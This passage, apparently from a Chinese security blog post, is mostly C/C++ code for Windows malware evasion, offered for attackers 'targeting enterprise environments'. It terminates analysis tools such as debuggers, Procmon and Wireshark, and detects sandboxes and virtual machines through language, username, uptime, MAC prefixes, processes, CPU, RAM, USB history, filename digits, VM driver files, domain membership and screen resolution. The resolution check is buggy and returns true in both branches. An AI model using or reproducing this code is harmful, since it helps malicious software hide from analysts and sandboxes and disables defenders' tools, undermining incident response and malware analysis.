printf("[!] 打开进程 %ls 句柄失败: %lu\n", procname, GetLastError()); // 输出打开句柄失败的信息。
}
}
res = Process32Next(hSnapshot, &pe); // 获取下一个进程的信息。
}
CloseHandle(hSnapshot); // 关闭快照句柄。
return processTerminated; // 返回是否成功终止过任何进程。
}
int main() {
// 定义一个二维数组,包含需要检测和终止的进程名称。
WCHAR t[][18] = {
{ 'x','6','4','d','b','g','.','e','x','e','\0' }, // x64dbg
{ 'i','d','a','.','e','x','e','\0' }, // IDA
{ 'i','d','a','6','4','.','e','x','e','\0' }, // IDA 64-bit
{ 'p','e','s','t','u','d','i','o','.','e','x','e','\0' }, // PEStudio
{ 'P','r','o','c','e','s','s','H','a','c','k','e','r','.','e','x','e','\0' }, // Process Hacker
{ 'P','r','o','c','m','o','n','.','e','x','e','\0' }, // Procmon
{ 'P','r','o','c','m','o','n','6','4','.','e','x','e','\0'}, // Procmon 64-bit
{ 'p','r','o','c','e','x','p','.','e','x','e','\0' }, // Process Explorer
{ 'p','r','o','c','e','x','p','6','4','.','e','x','e','\0' }, // Process Explorer 64-bit
{ 'w','i','r','e','s','h','a','r','k','.','e','x','e','\0' } // Wireshark
};
int numElements = sizeof(t) / sizeof(t[0]); // 计算数组中进程名称的数量。
BOOL anyFailure = FALSE; // 初始化标志,用于跟踪是否有任何进程终止失败。
for (int i = 0; i < numElements; i++) { // 遍历每个进程名称。
if (!TerminateDebuggingProcess(t[i])) { // 尝试终止指定名称的进程。
anyFailure = TRUE; // 如果终止失败,更新标志。
}
}
if (anyFailure) { // 如果有任何终止失败的进程。
printf("\n某些进程终止失败\n"); // 输出失败信息。
}
return 0; // 返回 0 表示程序执行完毕。
}
常规手段
检查语言
#include <Windows.h>
#include <stdio.h>
// 检查系统的用户界面语言是否是非中文
bool checkLan() {
// 获取当前用户默认的UI语言标识符
LANGID langId = GetUserDefaultUILanguage();
// 检查语言ID的主要语言部分是否为中文
if (PRIMARYLANGID(langId) == LANG_CHINESE) {
return false; // 如果是中文,返回false
}
else {
return true; // 如果不是中文,返回true
}
}
int main() {
// 调用 checkLan 函数并根据返回值输出对应信息
if (checkLan()) {
printf("The system's UI language is not Chinese.\n");
}
else {
printf("The system's UI language is Chinese.\n");
}
return 0;
}
检查用户名
// 检查当前用户是否名为 "admin"
bool checkAdminUser() {
wchar_t userName[UNLEN + 1];
DWORD userNameSize = UNLEN + 1;
// 获取当前计算机用户名
if (GetUserNameW(userName, &userNameSize)) {
wprintf(L"Current User: %s\n", userName);
// 检查用户名是否为"admin"
if (wcscmp(userName, L"admin") == 0) {
return false; // 用户名是 "admin"
}
else {
return true; // 用户名不是 "admin"
}
}
else {
wprintf(L"Error getting user name. Error code: %d\n", GetLastError());
return false; // 如果无法获取用户名,返回 false
}
}
int main() {
if (checkAdminUser()) {
printf("The current user is not 'admin'.\n");
}
else {
printf("The current user is 'admin'.\n");
}
return 0;
}
检查开机时间
#include <Windows.h>
#include <stdio.h>
// 检查系统的开机时间是否少于10分钟
bool checkStartTime() {
// 获取系统自启动以来的运行时间(毫秒)
ULONG uptime = GetTickCount();
// 检查运行时间是否少于10分钟(10分钟 = 10 * 60秒 = 600秒 = 600,000毫秒)
if (uptime >= 10 * 60 * 1000) {
return false; // 开机时间大于等于10分钟,返回 false
} else {
return true; // 开机时间少于10分钟,返回 true
}
}
int main() {
// 调用 checkStartTime 函数并根据返回值输出对应信息
if (checkStartTime()) {
printf("The system has been up for less than 10 minutes.\n");
} else {
printf("The system has been up for 10 minutes or more.\n");
}
return 0;
}
检查MAC地址
#include <Windows.h>
#include <string>
// 使用#pragma comment指令链接Netapi32.lib库
#pragma comment(lib, "Netapi32.lib")
using namespace std;
// 定义适配器状态结构和名称缓冲区结构
typedef struct _ASTAT_ {
ADAPTER_STATUS adapt;
NAME_BUFFER NameBuff[30];
} ASTAT, * PASTAT;
// 获取MAC地址的前三个字节并存储为字符串
void get_3part_mac(string& mac) {
NCB Ncb;
ASTAT Adapter;
UCHAR uRetCode;
LANA_ENUM lenum;
memset(&Ncb, 0, sizeof(Ncb));
Ncb.ncb_command = NCBENUM;
Ncb.ncb_buffer = (UCHAR*)&lenum;
Ncb.ncb_length = sizeof(lenum);
uRetCode = Netbios(&Ncb);
if (uRetCode != NRC_GOODRET) {
printf("Netbios枚举调用失败,错误代码: %d\n", uRetCode);
return;
}
for (int i = 0; i < lenum.length; i++) {
memset(&Ncb, 0, sizeof(Ncb));
Ncb.ncb_command = NCBRESET;
Ncb.ncb_lana_num = lenum.lana[i];
uRetCode = Netbios(&Ncb);
if (uRetCode != NRC_GOODRET) {
printf("Netbios重置调用失败,错误代码: %d\n", uRetCode);
continue;
}
memset(&Ncb, 0, sizeof(Ncb));
Ncb.ncb_command = NCBASTAT;
Ncb.ncb_lana_num = lenum.lana[i];
strcpy_s((char*)Ncb.ncb_callname, sizeof(Ncb.ncb_callname), "*");
Ncb.ncb_buffer = (unsigned char*)&Adapter;
Ncb.ncb_length = sizeof(Adapter);
uRetCode = Netbios(&Ncb);
if (uRetCode == NRC_GOODRET) {
char tmp[128];
sprintf_s(tmp, sizeof(tmp), "%02x-%02x-%02x",
Adapter.adapt.adapter_address[0],
Adapter.adapt.adapter_address[1],
Adapter.adapt.adapter_address[2]
);
mac = tmp;
return;
}
else {
printf("Netbios状态调用失败,错误代码: %d\n", uRetCode);
}
}
}
// 检查是否在虚拟机环境中运行
BOOL CheckMacAddress() {
string mac;
get_3part_mac(mac);
if (mac == "00-05-69" || mac == "00-0c-29" || mac == "00:1C:14" || mac == "00-50-56" ||
mac == "00-03-ff" || mac == "08-00-27") {
return TRUE;
}
else {
return FALSE;
}
}
int main() {
if (CheckMacAddress()) {
printf("检测到虚拟机或安全工具环境。\n");
}
else {
printf("未检测到虚拟机或安全工具环境。\n");
}
return 0;
}
检查进程
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
// 检查进程列表中是否存在特定进程
BOOL CheckSpecificProcesses(WCHAR* procname) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[!] Error: Failed to create process snapshot: %ld\n", GetLastError());
return FALSE;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
BOOL res = Process32First(hSnapshot, &pe);
while (res) {
if (!wcscmp(pe.szExeFile, procname)) {
printf("[+] Found process %ls is running,PID: %u\n", procname, pe.th32ProcessID);
CloseHandle(hSnapshot);
return TRUE;
}
res = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
return FALSE; // 未找到进程,返回 FALSE
}
int main() {
// 定义一个二维数组,包含需要检测和终止的进程名称。
WCHAR t[][18] = {
{ 'v','m','w','a','r','e','.','e','x','e','\0' }, // vmware.exe
{ 'v','m','t','o','o','l','s','d','.','e','x','e','\0' }, // Vmtoolsd.exe
{ 'v','m','w','a','r','e','t','r','a','t','.','e','x','e','\0'}, // Vmwaretrat.exe
{ 'v','m','w','a','r','e','u','s','e','r','.','e','x','e','\0' }, // Vmwareuser.exe
{ 'v','b','o','x','s','e','r','v','i','c','e','.','e','x','e','\0' }, // vboxservice.exe
{ 'v','b','o','x','t','r','a','y','.','e','x','e','\0'}, // vboxtray.exe
{ 'v','m','a','c','t','h','l','p','.','e','x','e','\0'}, // Vmacthlp.exe
};
int numElements = sizeof(t) / sizeof(t[0]);
for (int i = 0; i < numElements; i++) {
if (CheckSpecificProcesses(t[i])) {
// 可以在这里添加找到了进程后的处理逻辑
}
}
return 0;
}
检查CPU
可以使用GetSystemInfo
进行CPU 检查。此函数返回⼀个SYSTEM_INFO
结构,其中包含有关系统的信息,包括处理器数量.
#include <stdio.h>
#include <Windows.h>
BOOL CheckCPU() {
// 初始化 SYSTEM_INFO 结构体,用于存储系统信息
SYSTEM_INFO SysInfo = { 0 };
// 调用 Windows API 获取系统信息并存储在 SysInfo 中
GetSystemInfo(&SysInfo);
// 打印处理器核心数量
printf("Number of processors: %u\n", SysInfo.dwNumberOfProcessors);
// 检查处理器核心数量是否小于 2
if (SysInfo.dwNumberOfProcessors < 2) {
printf("Warning: System is using less than 2 processors.\n");
return TRUE; // 可能是虚拟化环境,返回 TRUE
}
return FALSE; // 处理器核心数量正常,返回 FALSE
}
int main() {
// 检查系统的处理器核心数量
if (CheckCPU()) {
printf("The system is potentially running in a virtualized environment.\n");
}
else {
printf("The system is likely running on physical hardware.\n");
}
return 0;
}
检查RAM
#include <stdio.h>
#include <Windows.h>
BOOL CheckRAM() {
MEMORYSTATUSEX MemStatus;
MemStatus.dwLength = sizeof(MEMORYSTATUSEX);
// 调用 Windows API 函数 GlobalMemoryStatusEx 获取系统内存使用情况
if (!GlobalMemoryStatusEx(&MemStatus)) {
printf("\n\t[!] GlobalMemoryStatusEx Failed With Error: %d \n", GetLastError());
return FALSE; // 获取内存信息失败,返回 FALSE
}
// 打印总物理内存的大小
printf("Total Physical Memory: %llu bytes\n", MemStatus.ullTotalPhys);
// 检查总物理内存是否小于或等于 2GB
if (MemStatus.ullTotalPhys <= (2ULL * 1073741824ULL)) { // 2 * 1024^3 = 2GB
printf("Warning: System has 2GB or less of RAM.\n");
return TRUE; // 可能是虚拟化环境,返回 TRUE
}
return FALSE; // 内存大小正常,返回 FALSE
}
int main() {
// 检查系统的内存大小
if (CheckRAM()) {
printf("The system is potentially running in a virtualized environment.\n");
}
else {
printf("The system likely has sufficient physical RAM.\n");
}
return 0;
}
检查USB
#include <stdio.h>
#include <Windows.h>
BOOL CheckUSB() {
HKEY hKey = NULL; // 用于存储打开的注册表项句柄
DWORD dwUsbNumber = 0; // 用于存储 USB 设备数量
DWORD dwRegErr = 0; // 用于存储注册表操作的错误代码
// 打开注册表项以获取 USB 存储设备的枚举信息
dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
if (dwRegErr != ERROR_SUCCESS) {
printf("\n\t[!] RegOpenKeyExA Failed With Error: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
return FALSE; // 打开注册表项失败时返回 FALSE
}
// 查询注册表项的子项数量,即 USB 存储设备的数量
dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (dwRegErr != ERROR_SUCCESS) {
printf("\n\t[!] RegQueryInfoKeyA Failed With Error: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
RegCloseKey(hKey); // 确保在失败时关闭注册表项句柄
return FALSE; // 查询失败时返回 FALSE
}
// 打印检测到的 USB 数量
printf("Number of USB devices previously mounted: %u\n", dwUsbNumber);
// 如果之前挂载的 USB 设备少于 2 个,则可能是虚拟化环境
if (dwUsbNumber < 2) {
printf("Warning: Less than 2 USB devices previously mounted.\n");
RegCloseKey(hKey); // 关闭注册表项句柄
return TRUE; // 返回 TRUE 表示可能是虚拟化环境
}
RegCloseKey(hKey); // 关闭注册表项句柄
return FALSE; // 返回 FALSE 表示正常环境
}
int main() {
// 检查系统的 USB 设备数量
if (CheckUSB()) {
printf("The system is potentially running in a virtualized environment.\n");
}
else {
printf("The system has a normal number of USB devices.\n");
}
return 0;
}
检查文件名
沙箱通常会将文件重命名为⼀种分类方法(例如,将其重命名为其 MD5 哈希)。此过程通常会导致一个包含字母和数字混合的任意文件名.
如果文件名中包含的数字超过 3 个,则ExeDigitsInNameCheck
将假定它位于沙箱中并返回 TRUE
#include <stdio.h>
#include <Windows.h>
#include <shlwapi.h> // 包含 PathFindFileNameA 函数的头文件
#include <ctype.h> // 包含 isdigit 函数的头文件
#pragma comment(lib, "Shlwapi.lib") // 链接 Shlwapi 库
BOOL ExeDigitsInNameCheck() {
CHAR Path[MAX_PATH * 3]; // 用于存储完整路径的缓冲区
CHAR cName[MAX_PATH]; // 用于存储文件名的缓冲区
DWORD dwNumberOfDigits = 0; // 用于计数文件名中的数字个数
// 获取当前模块(可执行文件)的完整路径
if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) {
printf("\n\t[!] GetModuleFileNameA Failed With Error : %d \n", GetLastError());
return FALSE; // 获取失败,返回 FALSE
}
// 获取文件名(从完整路径中提取)
LPCSTR fileName = PathFindFileNameA(Path);
printf("文件名为:%s\n", fileName);
// 防止缓冲区溢出,确保文件名长度在 MAX_PATH 之内
if (lstrlenA(fileName) < MAX_PATH) {
lstrcpyA(cName, fileName); // 将文件名复制到 cName 缓冲区中
}
else {
return FALSE; // 文件名过长,返回 FALSE
}
// 遍历文件名中的每个字符,统计数字的个数
for (int i = 0; i < lstrlenA(cName); i++) {
if (isdigit(cName[i])) {
dwNumberOfDigits++; // 如果是数字,计数器加一
}
}
// 如果文件名中的数字个数超过 3,则返回 TRUE
if (dwNumberOfDigits > 3) {
return TRUE;
}
return FALSE; // 否则返回 FALSE
}
int main() {
// 检查当前可执行文件名中的数字个数
if (ExeDigitsInNameCheck()) {
printf("Filename contains more than 3 digits.\n");
}
else {
printf("Filename contains 3 or fewer digits.\n");
}
return 0;
}
检查DLLS
#include <stdio.h>
#include <Windows.h>
#include <io.h>
// 检测是否存在指定的沙箱相关的 DLL
bool checkSandboxDlls() {
// 定义已知的与沙箱相关的 DLL 名称列表
const wchar_t* dllNames[] = {
L"C:\\windows\\System32\\Drivers\\Vmmouse.sys",
L"C:\\windows\\System32\\Drivers\\vmtray.dll",
L"C:\\windows\\System32\\Drivers\\VMToolsHook.dll",
L"C:\\windows\\System32\\Drivers\\vmmousever.dll",
L"C:\\windows\\System32\\Drivers\\vmhgfs.dll",
L"C:\\windows\\System32\\Drivers\\vmGuestLib.dll",
L"C:\\windows\\System32\\Drivers\\VBoxMouse.sys",
L"C:\\windows\\System32\\Drivers\\VBoxGuest.sys",
L"C:\\windows\\System32\\Drivers\\VBoxSF.sys",
L"C:\\windows\\System32\\Drivers\\VBoxVideo.sys",
L"C:\\windows\\System32\\vboxdisp.dll",
L"C:\\windows\\System32\\vboxhook.dll",
L"C:\\windows\\System32\\vboxoglerrorspu.dll",
L"C:\\windows\\System32\\vboxoglpassthroughspu.dll",
L"C:\\windows\\System32\\vboxservice.exe",
L"C:\\windows\\System32\\vboxtray.exe",
L"C:\\windows\\System32\\VBoxControl.exe",
L"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe",
L"C:\\Program Files\\Common Files\\VMware\\Drivers\\mouse\\Win8\\vmmousever.dll"
};
int numElements = sizeof(dllNames) / sizeof(dllNames[0]);
for (int i = 0; i < numElements; i++) {
if (_waccess(dllNames[i], 0) == 0) {
wprintf(L"Detected sandbox-related DLL: %s\n", dllNames[i]);
return true;
}
}
return false;
}
int main() {
if (checkSandboxDlls()) {
printf("Sandbox environment detected.\n");
}
else {
printf("No sandbox environment detected.\n");
}
return 0;
}
检查域环境
由于我们通常针对企业环境,因此可以假设用户的计算机是域的成员。让我们检查机器的域加入状态:
#include <stdio.h>
#include <Windows.h>
#include <lm.h>
#pragma comment(lib, "Netapi32.lib")
BOOL checkDomain() {
PWSTR domainName = NULL;
NETSETUP_JOIN_STATUS status;
NET_API_STATUS nStatus;
nStatus = NetGetJoinInformation(NULL, &domainName, &status);
if (nStatus != NERR_Success) {
printf("Failed to get join information. Error: %lu\n", nStatus);
return FALSE; // 返回FALSE,表示无法确定域状态
}
BOOL notInDomain = (status != NetSetupDomainName);
if (notInDomain) {
printf("The computer is not joined to a domain.\n");
} else {
wprintf(L"The computer is joined to the domain: %s\n", domainName);
}
if (domainName != NULL) {
NetApiBufferFree(domainName);
}
return notInDomain;
}
int main() {
if (checkDomain()) {
printf("The computer is not in a domain.\n");
} else {
printf("The computer is in a domain.\n");
}
return 0;
}
检查屏幕分辨率
虚拟化环境很少使用多个监视器(尤其是沙箱)。虚拟显示器也可能具有非典型的屏幕尺寸(特别是当安装到主机屏幕但不是全屏模式时-请注意带有栏和选项卡的管理程序窗口)。
#include <windows.h>
#include <stdio.h>
// 如果没有定义 PROCESS_DPI_AWARENESS,则手动定义它
#ifndef PROCESS_DPI_AWARENESS
typedef enum {
PROCESS_DPI_UNAWARE = 0,
PROCESS_SYSTEM_DPI_AWARE = 1,
PROCESS_PER_MONITOR_DPI_AWARE = 2
} PROCESS_DPI_AWARENESS;
#endif
// 设置应用程序为 DPI 感知(兼容 Windows 8.1 及以下)
void SetDpiAwareness() {
// 在 Windows 8.1 及以上使用 SetProcessDpiAwareness
HMODULE shcore = LoadLibraryA("Shcore.dll");
if (shcore) {
typedef HRESULT(WINAPI* SetProcessDpiAwarenessFunc)(PROCESS_DPI_AWARENESS);
SetProcessDpiAwarenessFunc setDpiAwareness =
(SetProcessDpiAwarenessFunc)GetProcAddress(shcore, "SetProcessDpiAwareness");
if (setDpiAwareness) {
setDpiAwareness((PROCESS_DPI_AWARENESS)PROCESS_PER_MONITOR_DPI_AWARE);
}
FreeLibrary(shcore);
}
else {
// 在 Windows 8 及更早版本使用 SetProcessDPIAware
HMODULE user32 = LoadLibraryA("user32.dll");
if (user32) {
typedef BOOL(WINAPI* SetProcessDPIAwareFunc)();
SetProcessDPIAwareFunc setDPIAware =
(SetProcessDPIAwareFunc)GetProcAddress(user32, "SetProcessDPIAware");
if (setDPIAware) {
setDPIAware();
}
FreeLibrary(user32);
}
}
}
BOOL CheckResolution() {
SetDpiAwareness(); // 设置应用程序为 DPI 感知
// 获取主显示器的水平和垂直分辨率
int xResolution = GetSystemMetrics(SM_CXSCREEN);
int yResolution = GetSystemMetrics(SM_CYSCREEN);
// 检查显示器分辨率是否符合预期的典型值
if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440 && xResolution != 3200 && xResolution != 3840)
|| (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900 && yResolution != 1800 && yResolution != 2160))
{
printf("Unexpected resolution: %d x %d\n", xResolution, yResolution);
return TRUE;
}
else {
printf("Resolution is as expected: %d x %d\n", xResolution, yResolution);
return TRUE;
}
}
int main() {
if (CheckResolution()) {
printf("Sandbox environment detected.\n");
}
else {
printf("No sandbox environment detected.\n");
}
return 0;
}
往期推荐
还在买别人的漏扫GUI?使用Yakit,免做老韭菜
“免费培训”的那些事
为什么建议大家都来做网安公众号?
——The End——
记得点赞